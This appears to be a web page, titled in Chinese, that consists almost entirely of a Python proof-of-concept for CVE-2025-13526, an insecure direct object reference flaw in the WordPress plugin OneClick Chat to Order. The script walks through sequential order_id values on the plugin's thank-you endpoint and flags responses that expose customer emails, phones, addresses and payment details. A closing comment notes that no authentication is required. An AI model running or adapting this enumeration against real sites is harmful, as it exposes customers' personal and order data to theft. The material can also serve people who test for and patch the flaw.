CVE-2025-13526 WordPress OneClick Chat to Order插件IDOR漏洞

# CVE-2025-13526 PoC - OneClick Chat to Order IDOR Vulnerability import requests TARGET_URL = "https://vulnerable-site.com/" # The thank you page endpoint that handles order display VULNERABLE_ENDPOINT = "?wa-order-thank-you=1&order_id=" def exploit_idor(start_order_id=1, max_orders=100): """Exploit IDOR vulnerability to extract customer order information""" print(f"[*] Starting IDOR attack on {TARGET_URL}") print(f"[*] Target: OneClick Chat to Order Plugin") print(f"[*] Vulnerability: Insecure Direct Object Reference in wa_order_thank_you_override\n") for order_id in range(start_order_id, start_order_id + max_orders): url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}{order_id}" try: response = requests.get(url, timeout=10) if response.status_code == 200: # Check if sensitive data is leaked in response if any(keyword in response.text.lower() for keyword in ['customer', 'order', 'email', 'phone', 'address', 'payment']): print(f"[+] SUCCESS: Order ID {order_id} - Sensitive data exposed!") print(f"[+] URL: {url}") # Extract and display leaked information print(f"[*] Response length: {len(response.text)} bytes") else: print(f"[-] Order ID {order_id} - No sensitive data found") else: print(f"[x] Order ID {order_id} - HTTP {response.status_code}") except requests.exceptions.RequestException as e: print(f"[x] Error accessing order {order_id}: {e}") print("\n[*] Attack completed. All accessible order data has been enumerated.") if __name__ == "__main__": exploit_idor(start_order_id=1, max_orders=100) # Note: This PoC demonstrates the IDOR vulnerability where attackers can # view any customer's order information by simply changing the order_id parameter # No authentication required - just network access to the vulnerable endpoint